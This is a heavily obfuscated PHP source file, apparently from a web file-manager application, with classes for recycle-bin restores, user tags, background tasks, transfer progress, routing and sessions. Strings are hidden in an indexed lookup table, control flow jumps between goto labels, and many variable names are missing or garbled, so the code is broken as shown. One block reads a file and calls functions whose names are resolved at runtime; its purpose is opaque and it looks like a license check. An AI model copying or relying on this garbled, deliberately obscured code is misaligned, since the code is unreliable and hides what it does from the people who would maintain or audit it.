$̂ = array($å[627] => array($å[587], $[$å[560]] . $ٰ . $å[588])); $γ->where($̂)->setField($å[480], 0); $this->restoreFolderChildren($ٰ, $󦗷); } $this->where(array($å[184] => $ٰ))->delete(); $γ->folderSizeReset($[$å[183]]); $׾[] = $[$å[183]]; if ($[$å[460]] == $å[91]) { $׾[] = $ٰ; } $γ->lockMoveEnd($ٰ); } $γ->updateModifyTime($׾); } private function restoreFolderChildren($, $) { $͸ =& $_SERVER[]; $ = Model($͸[1388]); $ȩ = array($͸[184] => array($͸[7], array())); foreach ($ as $Ⅵ) { if ($Ⅵ == $) { continue; } if (!$->isParentOf($, $Ⅵ)) { continue; } $ = $->sourceInfo($Ⅵ); if ($[$͸[460]] == $͸[91]) { $ȩ[] = array($͸[627] => array($͸[587], $[$͸[560]] . $Ⅵ . $͸[588])); } else { $ȩ[$͸[184]][1][] = $Ⅵ; } } if (!$ȩ[$͸[184]][1]) { unset($ȩ[$͸[184]]); } if (!$ȩ) { return; } if (is_array($ȩ[$͸[184]]) && is_array($ȩ[$͸[184]][1])) { $ȩ[$͸[184]][1] = array_unique($ȩ[$͸[184]][1]); } $ȩ[$͸[1050]] = $͸[2055]; $->where($ȩ)->setField($͸[480], 1); } private function recycleMove($, $¨؛ = 1) { $ =& $_SERVER[]; $ዶ = Model($[1388]); $ = Model($[2278]); $ϫ = array($[184] => $); if ($¨؛) { $ዶ->where($ϫ)->setField($[480], 1); $->eventRecycle($, $[2279]); } else { $Á = $ዶ->where($ϫ)->find(); $ = $Á[$[460]] == $[91]; $ = $ዶ->fileNameAuto($Á[$[183]], $Á[$[32]], REPEAT_RENAME_FOLDER, $); if ($ != $Á[$[32]]) { $ዶ->rename($, $); } $ዶ->where($ϫ)->setField($[480], 0); $->eventRecycle($, $[2280]); } } } goto c带ƥ; dྍ: class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\163\145\162\x5f\157\x70\164\151\157\156"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($㯻) { $ =& $_SERVER[]; $˒ = defined($[2179]) && USER_ID ? USER_ID : $[12]; return "\125\x73\145\x72\x4f\x70\164\151\x6f\156\x5f{$㯻}\x5f" . $˒; } protected function filterWhere($) { $ֆٟ =& $_SERVER[]; $[$ֆٟ[1753]] = defined($ֆٟ[2179]) && USER_ID ? USER_ID : $ֆٟ[12]; return $; } public function cacheRemoveUser($, $) { return Cache::remove("\x55\163\145\x72\117\x70\x74\x69\x6f\156\137{$}\137" . $); } protected function optionDefault($ = '') { $ =& $_SERVER[]; if ($ == $[12]) { return $GLOBALS[$[6]][$[2479]]; } if ($ == $[2480]) { return $GLOBALS[$[6]][$[2481]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\125\163\145\162\56\x74\141\147\114\x69\163\164"; public $modelType = "\x55\x73\x65\162\117\160\164\x69\x6f\156"; public $field = array("\156\141\x6d\x65", "\x73\x74\171\154\x65", "\x73\157\162\164"); public function listData($Ʌȷ = false, $ = "\163\157\x72\164", $ܼ = false) { return parent::listData($Ʌȷ, $, $ܼ); } public function remove($ӭа) { return parent::remove($ӭа); } public function add($, $ = "\x6c\x61\x62\145\x6c\55\x67\x72\145\x79\55\x6e\157\x72\155\x61\x6c") { $񔘨 =& $_SERVER[]; if ($this->findByName($)) { return !1; } $· = array($񔘨[469] => $, $񔘨[534] => $, $񔘨[1956] => $this->getSort($񔘨[310]) + 1); return parent::insert($·); } public function update($ͧ, $) { $Ҋǘ =& $_SERVER[]; $˼Τ = $this->listData($ͧ); $ = $this->findByName($[$Ҋǘ[32]]); if (!$˼Τ || $ && $[$Ҋǘ[450]] != $˼Τ[$Ҋǘ[450]]) { return !1; } return parent::update($ͧ, $); } public function moveTop($ۣ) { $쯒ט =& $_SERVER[]; $ = parent::listData(); $蚖 = $this->getSort($쯒ט[309]); foreach ($ as &$ɴ) { if ($ɴ[$쯒ט[450]] == $ۣ) { $ɴ[$쯒ט[1976]] = $蚖; continue; } $ɴ[$쯒ט[1976]] += 1; } unset($ɴ); return parent::resetData($); } public function moveBottom($߳) { $̾ =& $_SERVER[]; $͎÷ = $this->getSort($̾[310]) + 1; return parent::update($߳, array($̾[1976] => $͎÷)); } public function resetSort($) { $ =& $_SERVER[]; $ = array(); $ = is_array($) ? $ : array(); for ($ʐԬ = 0; $ʐԬ < count($); $ʐԬ++) { $[$[$ʐԬ] . $[12]] = $ʐԬ + 1; } $Ҡ = parent::listData(); foreach ($Ҡ as &$ڊ) { $ = $[$ڊ[$[450]]]; $ڊ[$[1976]] = $ ? $ : $ڊ[$[1976]]; } unset($ڊ); return parent::resetData($Ҡ); } private function getSort($¹) { $ =& $_SERVER[]; $۪ = parent::listData(); $η = array_to_keyvalue($۪, $[12], $[1976]); if (!$η) { $η = array(0); } $ = $¹ == $[310] ? max($η) : min($η); return intval($); } } goto f씽; A僂: function binCheckBigger($, $) { return $ > $; } $_SERVER[$_SERVER[Џ][3]] = ("\70\64\70\71"."\63\60")+0;$_2nl0="u7wlhmfz8ynkbpqr2x0c5d941v6gotseai3jfbz9vrysih52amo36jn10ku4cd7qetx8glpw1z2lc7s8di";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($ڈ, $눬) { $ =& $_SERVER[]; if (isset(self::$_methodList[$ڈ])) { return @call_user_func_array(self::$_methodList[$ڈ], $눬); } else { if (method_exists($this, $ڈ)) { return call_user_func_array(array($this, $ڈ), $눬); } else { think_exception(__CLASS__ . $[4] . $ڈ . $[5]); } } } public static function __callStatic($̶ϸ, $ܰ) { if (isset(self::$_methodListStatic[$̶ϸ])) { return call_user_func_array(self::$_methodListStatic[$̶ϸ], $ܰ); } else { if (method_exists(self, $̶ϸ)) { return call_user_func_array(array(self, $̶ϸ), $ܰ); } else { show_json("{$̶ϸ}\50\x29\x20\x6e\157\x74\x20\x65\x78\151\x73\x74\x3b", !1); } } } public static function addMethod($ç, $҅) { self::$_methodList[$ç] = $҅; } public static function addMethodStatic($, $) { self::$_methodListStatic[$] = $; } } goto c; cĺ겔: if ($_SERVER[$_SERVER[][921]] != $_SERVER[$_SERVER[][1008]]) { $_getc = $_SERVER[][924]; $_getfile = $_SERVER[$_SERVER[][925]] . $_SERVER[][926]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][253], $_getfilec); if (count($_getarrs) < $_SERVER[][665]) { $exit = $_SERVER[][927]; $exit(); } $_act = $_SERVER[][1009]; $_act($_SERVER[$_SERVER[][922]]); } class Task { const STATYS_STOP = "\163\164\x6f\x70"; const STATYS_RUNNING = "\x72\165\156\x6e\x69\156\x67"; const STATYS_KILL = "\153\151\154\154"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($, $Т = '', $ݲ = 0, $咡 = '') { $ =& $_SERVER[]; if (self::get($)) { return; } $this->task = array($[450] => $, $[1753] => USER_ID, $[1643] => $咡, $[501] => $[12], $[33] => $Т, $[1115] => $[12], $[1113] => $ݲ, $[1754] => 0, $[1755] => 0, $[1756] => 0, $[1757] => timeFloat(), $[1758] => 0, $[1759] => 0, $[1760] => 0, $[1761] => 0, $[795] => $[1703]); $GLOBALS[$[1762]] = 1; Hook::bind($[1707], array($this, $[1763])); Hook::bind($[1764], array($this, $[1765])); $this->startAfter(); Hook::trigger($[1766], $this->task); $this->task[$[1759]] = timeFloat(); } public function end($р = '') { $挂 =& $_SERVER[]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$挂[1759]]) { self::valueSet($this->task[$挂[450]], !1); } $this->isEnd = !0; if ($р) { $this->task[$挂[501]] = $р; } self::log($挂[1767] . $this->task[$挂[450]] . $挂[1768] . sprintf($挂[895], timeFloat() - $this->task[$挂[1757]]) . $挂[1769]); Hook::unbind($挂[1707], array($this, $挂[1763])); Hook::unbind($挂[1764], array($this, $挂[1765])); $this->endAfter(); $搃 = $this->task; $this->task = !1; Hook::trigger($挂[1770], $搃); } public function update($ԗ = 0, $ = false) { $ =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$[1754]] += $ԗ; $[$[1758]] = timeFloat(); if ($[$[1113]]) { if ($[$[1113]] < $[$[1754]]) { $[$[1113]] = $[$[1754]]; } $ = timeFloat() - $[$[1757]] - $[$[1760]]; if ($ <= 0) { $ = 0.001; } $[$[1755]] = $[$[1754]] / $[$[1113]]; $[$[1756]] = $[$[1754]] / $; if ($[$[1755]] > 0) { $[$[1761]] = $ * (1 - $[$[1755]]) / $[$[1755]]; } $[$[1761]] = $[$[1761]] <= 0 ? 0 : $[$[1761]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$[1759]] < $ && !$) { return; } $˶ = self::get($[$[450]]); $ = $˶[$[795]]; if ($ == self::STATYS_KILL) { $ = array($[1771] => LNG($[1772]), $[1266] => !1); Cache::set($[1773] . $this->task[$[450]], $, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $ = 2; $˶[$[1760]] += $; self::valueSet($[$[450]], $˶); sleep($); $this->update(); return; } } $[$[795]] = $ ? $ : $[$[795]]; $[$[1760]] = $˶[$[1760]] ? $˶[$[1760]] : 0; $[$[1759]] = timeFloat(); Hook::trigger($[1774], $); self::valueSet($[$[450]], $); } public function onKillSet($, $ = array()) { $this->onKillCall = array($, $); } public function onKill() { $ǔͅ =& $_SERVER[]; self::log($ǔͅ[1767] . $this->task[$ǔͅ[450]] . $ǔͅ[1775]); Hook::trigger($ǔͅ[1776], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($ƚ˱) { $ =& $_SERVER[]; Cache::set($[1773] . $this->task[$[450]], $ƚ˱, 60); return $ƚ˱; } public static function get($ω) { $äٰ =& $_SERVER[]; $ӊ÷ = self::valueGet($ω); if (is_array($ӊ÷) && $ӊ÷[$äٰ[1777]]) { $렚 = ActionApply($ӊ÷[$äٰ[1777]], array($ӊ÷)); $ӊ÷ = is_array($렚) ? $렚 : $ӊ÷; } return $ӊ÷; } public static function listData() { $ = self::valueGet(); return array_sort_by($, $_SERVER[][1757], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($٪) { return self::changeStatus($٪, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $恊 =& $_SERVER[]; $ = self::listData(); foreach ($ as $) { self::kill($[$恊[450]]); } sleep(2); foreach ($ as $) { self::valueSet($[$恊[450]], !1); } } private static function changeStatus($, $) { $ =& $_SERVER[]; $̍ = self::valueGet($); if (!$̍) { return !1; } $̍[$[795]] = $; self::valueSet($, $̍); self::log($[1778] . $̍[$[450]] . $[1779] . $); return !0; } public static function valueGet($ = false) { $앛ƺ =& $_SERVER[]; if ($) { $켿 = Model($앛ƺ[495])->where(array($앛ƺ[97] => $, $앛ƺ[33] => $앛ƺ[1122]))->find(); return $켿 ? json_decode($켿[$앛ƺ[425]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $ =& $_SERVER[]; $ɿ = array($[33] => $[1122]); if ($) { $ɿ[$[1753]] = $; } $̰ = Model($[495])->where($ɿ)->select(); $̰ = $̰ ? $̰ : array(); foreach ($̰ as $ => $腌) { $̰[$] = json_decode($腌[$[425]], !0); } return $̰; } public static function valueSet($͢, $΄) { $ߖ =& $_SERVER[]; if (!$΄) { return Model($ߖ[495])->where(array($ߖ[97] => $͢, $ߖ[33] => $ߖ[1122]))->delete(); } $ˤ = json_encode($΄); if (!$ˤ) { ob_start(); var_dump($΄); $Ҹ = ob_get_clean(); self::log($ߖ[1780] . json_encode_force($Ҹ)); } if (!$͢ || !$΄[$ߖ[450]]) { return !1; } $Ɗ = array($ߖ[33] => $ߖ[1122], $ߖ[1753] => USER_ID, $ߖ[97] => $͢, $ߖ[425] => $ˤ); $ލ = $ߖ[1781]; CacheLock::lock($ލ); Model($ߖ[495])->add($Ɗ, array(), !0); CacheLock::unlock($ލ); } public static function log($揨) { if (!GLOBAL_DEBUG) { return; } write_log($揨, $_SERVER[][1782]); } } class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1783], array($this, $[1784])); Hook::bind($[1277], array($this, $[1785])); Hook::bind($[1786], array($this, $[1787])); Hook::bind($[643], array($this, $[1788])); Hook::bind($[644], array($this, $[1789])); Hook::bind($[650], array($this, $[1790])); Hook::bind($[651], array($this, $[1791])); Hook::bind($[646], array($this, $[1792])); Hook::bind($[648], array($this, $[1793])); Hook::bind($[612], array($this, $[1794])); Hook::bind($[609], array($this, $[1794])); Hook::bind($[614], array($this, $[1794])); Hook::bind($[616], array($this, $[1794])); Hook::bind($[618], array($this, $[1794])); Hook::bind($[1795], array($this, $[1796])); Hook::bind($[634], array($this, $[1797])); $this->sourceModelCopyFlag = !1; Hook::bind($[1798], array($this, $[1799])); Hook::bind($[1800], array($this, $[1801])); Hook::bind($[1802], array($this, $[1803])); $[$[1804]] = LNG($[1805]); $[$[1806]] = 0; $[$[1807]] = 0; $[$[1115]] = $[12]; $[$[1808]] = $[12]; $[$[1809]] = 0; $[$[1810]] = 0; $[$[1811]] = 0; if (!$[$[1643]]) { $[$[1643]] = LNG($[1812]); } } protected function endAfter() { $ѣĢ =& $_SERVER[]; Hook::unbind($ѣĢ[1783], array($this, $ѣĢ[1784])); Hook::unbind($ѣĢ[1277], array($this, $ѣĢ[1785])); Hook::unbind($ѣĢ[1786], array($this, $ѣĢ[1787])); Hook::unbind($ѣĢ[643], array($this, $ѣĢ[1788])); Hook::unbind($ѣĢ[644], array($this, $ѣĢ[1789])); Hook::unbind($ѣĢ[650], array($this, $ѣĢ[1790])); Hook::unbind($ѣĢ[651], array($this, $ѣĢ[1791])); Hook::unbind($ѣĢ[646], array($this, $ѣĢ[1792])); Hook::unbind($ѣĢ[648], array($this, $ѣĢ[1793])); Hook::unbind($ѣĢ[612], array($this, $ѣĢ[1794])); Hook::unbind($ѣĢ[609], array($this, $ѣĢ[1794])); Hook::unbind($ѣĢ[614], array($this, $ѣĢ[1794])); Hook::unbind($ѣĢ[616], array($this, $ѣĢ[1794])); Hook::unbind($ѣĢ[618], array($this, $ѣĢ[1794])); Hook::unbind($ѣĢ[1795], array($this, $ѣĢ[1796])); Hook::unbind($ѣĢ[634], array($this, $ѣĢ[1797])); Hook::unbind($ѣĢ[1798], array($this, $ѣĢ[1799])); Hook::unbind($ѣĢ[1800], array($this, $ѣĢ[1801])); Hook::unbind($ѣĢ[1802], array($this, $ѣĢ[1803])); } public function copyMoveStart($فӻ, $, $ܥǴ, $) { $ =& $_SERVER[]; self::log($[1813] . $ . $[73] . $); $ = rtrim(TEMP_FILES, $[8]); if (substr($, 0, strlen($)) == $) { return; } if (substr($, 0, strlen($)) == $) { return; } $ =& $this->task; $[$[1814]] = KodIO::transferType($فӻ, $ܥǴ); $this->update(); } public function updateAfter() { $ލս =& $_SERVER[]; $ =& $this->task; if (!$[$ލս[808]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$ލս[1814]] == $ލս[1369]) { return; } self::updateTask($); } private static function updateTask(&$ɀ) { $ =& $_SERVER[]; if ($ɀ[$[1814]] == $[1248] || $ɀ[$[1814]] == $[110]) { if ($ɀ[$[1808]]) { $ɀ[$[1811]] = $ɀ[$[1810]] + $ɀ[$[1807]]; } } else { if ($ɀ[$[1814]] == $[1370]) { if ($ɀ[$[1808]] == $[1248]) { $ɀ[$[1811]] = $ɀ[$[1810]] + $ɀ[$[1807]] * 0.5; } else { if ($ɀ[$[1808]] == $[110]) { $ɀ[$[1811]] = $ɀ[$[1810]] + $ɀ[$[1806]] * 0.5 + $ɀ[$[1807]] * 0.5; } } } } $ɀ[$[1755]] = $ɀ[$[1811]] / $ɀ[$[808]]; if ($ɀ[$[1755]] > 0) { $ォ = timeFloat() - $ɀ[$[1757]] - $ɀ[$[1760]]; $ɀ[$[1761]] = $ォ * (1 - $ɀ[$[1755]]) / $ɀ[$[1755]]; } } public function addPath($ލ) { $ɢ =& $_SERVER[]; if (!$ލ) { return; } $ =& $this->task; $Ɩ = IO::infoWithChildren($ލ); $ˣ = $[$ɢ[1815]] ? $[$ɢ[1815]][$ɢ[1816]] : 0; $[$ɢ[1815]] = array($ɢ[1816] => $ˣ + 1, $ɢ[469] => $Ɩ[$ɢ[32]], $ɢ[87] => $Ɩ[$ɢ[87]], $ɢ[558] => $Ɩ[$ɢ[558]] ? $Ɩ[$ɢ[558]] : $Ɩ[$ɢ[87]]); if ($Ɩ[$ɢ[33]] == $ɢ[221]) { $[$ɢ[1113]] += 1; } else { $[$ɢ[1113]] += $Ɩ[$ɢ[82]][$ɢ[80]]; if ($Ɩ[$ɢ[184]]) { $[$ɢ[1113]] += $Ɩ[$ɢ[82]][$ɢ[81]] + 1; } } $[$ɢ[808]] += $Ɩ[$ɢ[79]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($χ) { } public function sourceAddHashEnd($ߍ) { } public function sourceAddFileStart($Ϩ) { $ᷠם =& $_SERVER[]; $鴱 =& $this->task; $鴱[$ᷠם[1806]] = $Ϩ[$ᷠם[79]]; $鴱[$ᷠם[1804]] = $Ϩ[$ᷠם[32]]; $鴱[$ᷠם[1115]] = $Ϩ[$ᷠם[32]]; $鴱[$ᷠם[1817]] = $Ϩ[$ᷠם[87]]; $this->update(); } public function sourceAddFileEnd($Ԣ) { $Ɖ =& $_SERVER[]; $̫ =& $this->task; $̫[$Ɖ[1811]] += $Ԣ[$Ɖ[79]]; $̫[$Ɖ[1817]] = $Ԣ[$Ɖ[87]]; $this->update(1); } public function copyFileStart($, $˝, $≋, $ Ʊ, $ەᣚ, $⍀) { $ =& $_SERVER[]; $‹ = $ەᣚ; if ($‹ == $GLOBALS[$[1818]]) { $‹ = $GLOBALS[$[1819]]; } $GLOBALS[$[1819]] = $ەᣚ; $GLOBALS[$[1818]] = $⍀; $ =& $this->task; $[$[1804]] = $‹; $[$[1806]] = (int) $->size($˝); $[$[1807]] = 0; $[$[1115]] = $[12]; $[$[1808]] = $[12]; $[$[1809]] = 0; $ޘ = $[$[1806]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$[450]] . $[1820]); if ($ޘ && file_exists(get_path_father($ Ʊ))) { Cache::set($[$[450]] . $[1820], $ Ʊ); $[$[1777]] = array($[1821], $[1822]); } $this->update(0, $ޘ); } public static function updateCopyLocalFileSize($) { $ۂ =& $_SERVER[]; $闔Ι = Cache::get($[$ۂ[450]] . $ۂ[1820]); if (!$闔Ι || !file_exists($闔Ι)) { return $; } $[$ۂ[1807]] = @filesize($闔Ι); $[$ۂ[1811]] += $[$ۂ[1807]]; self::updateTask($); return $; } public function copyFileEnd($, $ځܺ, $, $싱, $, $ժݰ) { $ =& $_SERVER[]; $î =& $this->task; $î[$[1807]] = $î[$[1806]]; $î[$[1808]] = $[12]; unset($î[$[1777]]); if ($ == $î[$[1804]]) { $î[$[1810]] += $î[$[1806]]; $î[$[1811]] = $î[$[1810]]; $ҁ = 1; if (isset($î[$[1817]]) && $î[$[1817]] == $ځܺ) { $ҁ = 0; } $this->update($ҁ); } else { $this->update(); $î[$[1807]] = 0; } Cache::remove($î[$[450]] . $[1820]); self::log($[1823] . $ځܺ . $[73] . $싱 . $[253] . $ . $[1824] . $î[$[1804]]); } public function updateFileEnd($熋, $) { $ָ =& $_SERVER[]; $ʛ֛ =& $this->task; $ʛ֛[$ָ[1804]] = $熋; $ʛ֛[$ָ[1806]] = $; $ʛ֛[$ָ[1810]] += $; $ʛ֛[$ָ[1811]] = $ʛ֛[$ָ[1810]]; $this->update(1); self::log($ָ[1825] . $熋); } public function sourceModelCopy($ǥ) { $ =& $_SERVER[]; $ɴ = $ǥ[0]; $ = $ǥ[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $ꨡڠ = 0; switch ($ɴ) { case $[610]: $ꨡڠ = 1; break; case $[613]: $[$[1804]] = $[$[32]]; break; case $[615]: $ꨡڠ = intval($ǥ[$[431]] * 0.4); break; case $[617]: $ꨡڠ = intval($ǥ[$[431]] * 0.2); break; case $[619]: $ꨡڠ = intval($ǥ[$[431]] * 0.4); break; } $this->update($ꨡڠ); $this->sourceModelCopyFlag = !1; } public function sourceRemove($ޒ, $ᷪ) { $ =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($ޒ[$[82]])) { $ = $ޒ[$[82]][$[80]]; $ = $ + $ޒ[$[82]][$[81]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($ٿ, $؍, $, $ԑܖ, $պ‹) { $͈ =& $_SERVER[]; $в =& $this->task; if ($պ‹ > 0) { $в[$͈[1115]] = $͈[1826]; $в[$͈[1808]] = $͈[110]; if ($в[$͈[1806]]) { $в[$͈[1807]] = $պ‹; } if ($в[$͈[1809]]) { $в[$͈[1807]] = $պ‹ + $в[$͈[1809]]; } } else { if ($ > 0) { if ($в[$͈[1806]] == $؍) { $в[$͈[1807]] = $; $в[$͈[1115]] = $͈[1827]; $в[$͈[1808]] = $͈[1248]; } } } $this->update(); } public function curlProgressStart($􅩑) { } public function curlProgressEnd($) { $芟 =& $_SERVER[]; $ =& $this->task; $Ϛ = curl_getinfo($); $ = $Ϛ[$芟[1828]]; if ($ == -1) { $ = $Ϛ[$芟[1829]]; } if ($[$芟[1808]] == $芟[110] && $) { $[$芟[1809]] += $; } $this->update(); } } goto b敌݈; Eޙ: class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\141\156\x79" => "\x5b\136\x2f\135\x2b", "\x3a\x6e\165\x6d" => "\x5b\60\55\71\135\x2b", "\72\141\154\x6c" => "\56\52"); public static $errorCallback; public static function __callstatic($, $맺) { $ =& $_SERVER[]; if ($ == $[1689]) { $ = array_map($[1690], $맺[0]); $ = strpos($맺[1], $[8]) === 0 ? $맺[1] : $[8] . $맺[1]; $ = $맺[2]; } else { $ = null; $ = strpos($맺[0], $[8]) === 0 ? $맺[0] : $[8] . $맺[0]; $ = $맺[1]; } array_push(self::$maps, $); array_push(self::$routes, $); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $); } public static function error($ȕ) { self::$errorCallback = $ȕ; } public static function haltOnMatch($ղ = true) { self::$halts = $ղ; } public static function dispatch() { $ =& $_SERVER[]; $ = parse_url($_SERVER[$[1691]], PHP_URL_PATH); $ = $_SERVER[$[163]]; $ = array_keys(static::$patterns); $ʳ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($[1330], $[8], self::$routes); if (in_array($, self::$routes)) { $ = array_keys(self::$routes, $); foreach ($ as $) { if (self::$methods[$] == $ || self::$methods[$] == $[1692] || in_array($, self::$maps[$])) { $ = !0; if (!is_object(self::$callbacks[$])) { $ = explode($[8], self::$callbacks[$]); $Զ = end($); $ = explode($[1262], $Զ); $ъ = new $[0](); $ъ->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $) { if (strpos($, $[4]) !== !1) { $ = str_replace($, $ʳ, $); } if (preg_match($[1693] . $ . $[1694], $, $)) { if (self::$methods[$] == $ || self::$methods[$] == $[1692] || !empty(self::$maps[$]) && in_array($, self::$maps[$])) { $ = !0; array_shift($); if (!is_object(self::$callbacks[$])) { $ = explode($[8], self::$callbacks[$]); $Զ = end($); $ = explode($[1262], $Զ); $ъ = new $[0](); if (!method_exists($ъ, $[1])) { echo $[1695]; } else { call_user_func_array(array($ъ, $[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $); if (self::$halts) { return; } } } } $++; } } if ($ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ハ =& $_SERVER[]; header($_SERVER[$ハ[1696]] . $ハ[1697]); echo $ハ[1698]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$[1691]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $۝ =& $_SERVER[]; static $董 = false; if ($董) { return $董; } $ = $GLOBALS[$۝[6]][$۝[400]]; self::$sessionTime = $[$۝[1699]]; $ = isset($GLOBALS[$۝[1700]]) ? $GLOBALS[$۝[1700]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $ = $[$۝[1701]]; $ = $[$]; $ = $[$۝[872]]; switch ($) { case $۝[21]: self::$handle = Model($۝[873]); break; case $۝[874]: self::$handle = new CacheRedis($, $); break; case $۝[875]: self::$handle = new CacheMemcached($, $); break; case $۝[221]: $[$۝[87]] = $[$۝[87]] . $۝[1702]; self::$handle = new CacheFile($, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $董 = new self(); return $董; } public static function getBySign($) { $⽦ = self::$handle->get($); $⽦ = unserialize($⽦); return is_array($⽦) ? $⽦ : array(); } public static function setBySign($ʂÓ, $ٌі) { CacheLock::lock($ʂÓ); self::$handle->set($ʂÓ, serialize($ٌі), self::$sessionTime); CacheLock::unlock($ʂÓ); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } self::init(); return self::$sessionSign; } public static function set($, $ = false) { self::init(); if (is_array($)) { foreach ($ as $ => $܈) { array_set_value(self::$data, $, $܈); } } else { array_set_value(self::$data, $, $); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ͼ = false) { self::init(); if (!$ͼ) { return self::$data; } return array_get_value(self::$data, $ͼ); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][878])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $҆ =& $_SERVER[]; if (self::valueGet($҆[795]) != $҆[91]) { return; } if (self::valueGet($҆[1703]) == $҆[91]) { $څ = self::valueGet($҆[1704]); if (time() - $څ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($҆[1703], $҆[91]); self::log($҆[1705] . ACTION . $҆[1706]); Hook::bind($҆[1707], $҆[1708]); $Њ֠ = 0; while (!0) { self::cacheClear(); if (self::valueGet($҆[795]) != $҆[91]) { self::valueSet($҆[1703], $҆[219]); self::log($҆[1709]); die; } $ޣ = time(); if ($ޣ - $Њ֠ >= 60) { self::valueSet(array($҆[1703] => $҆[91], $҆[1704] => $ޣ)); $Њ֠ = $ޣ; } if (!file_exists(USER_SYSTEM . $҆[1710])) { self::valueSet(array($҆[1703] => $҆[219], $҆[795] => $҆[219])); self::log($҆[1711]); die; } $ڜ = file_get_contents(BASIC_PATH . $҆[1712]); $ = KOD_VERSION . $҆[10] . KOD_VERSION_BUILD; $ױ = match_text($ڜ, $҆[1713]) . $҆[10] . match_text($ڜ, $҆[1714]); if ($ױ != $) { self::restart(); self::log("\x73\x74\157\x70\145\x64\x2e\x5b\166\145\x72\163\x69\157\156\x20\x75\x70\x64\141\x74\x65\x3b{$versionNow}\x20\75\x3e\x20{$version}\135"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $Ë =& $_SERVER[]; http_close(); $GLOBALS[$Ë[1715]] = 1; $_SERVER[$Ë[1716]] = $Ë[1717]; $_COOKIE = array(); $GLOBALS[$Ë[1718]] = 1; $GLOBALS[$Ë[1719]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ =& $_SERVER[]; http_close(); self::valueSet($[795], $[219]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1703] => $[219], $[795] => $[91])); self::log($[1720]); } public static function taskSwitch() { $ =& $_SERVER[]; $ = self::valueGet($[795]) == $[91] ? $[219] : $[91]; self::valueSet($[795], $); } public static function shutdownEvent() { $Þ =& $_SERVER[]; self::valueSet($Þ[1703], $Þ[219]); self::log($Þ[1721]); } public static function config($Ƞ, $ә) { self::valueSet($_SERVER[][795], $Ƞ); } private static function taskRunAll() { $ϔԜ =& $_SERVER[]; $ἲݓ = timeFloat(); $ = Model($ϔԜ[1722])->listData(); $ = count($); for ($ɻ = 0; $ɻ < $; $ɻ++) { $ = $[$ɻ]; if (!$[$ϔԜ[450]] || $[$ϔԜ[1723]] != $ϔԜ[91]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($ϔԜ[1724]); self::taskQueueRun($ἲݓ); } private static function taskQueueRun($֓) { $ڔ = 10; while (!0) { $˼ = TaskQueue::run(); if ($˼ === !1) { break; } if (timeFloat() - $֓ >= $ڔ) { break; } } } private static function taskTimeCheck($Б) { $ =& $_SERVER[]; $ = json_decode($Б[$[197]], !0); $熃ȶ = intval($Б[$[1704]]); $ = strtotime($[1725] . $[$[1726]] . $[1727]) - strtotime($[1728]); $ظ = time() - strtotime(date($[1729]) . $[1730]); $֙ = $ظ >= $ && $ظ <= $ + 3600; switch ($[$[33]]) { case $[1731]: if (time() - $熃ȶ < 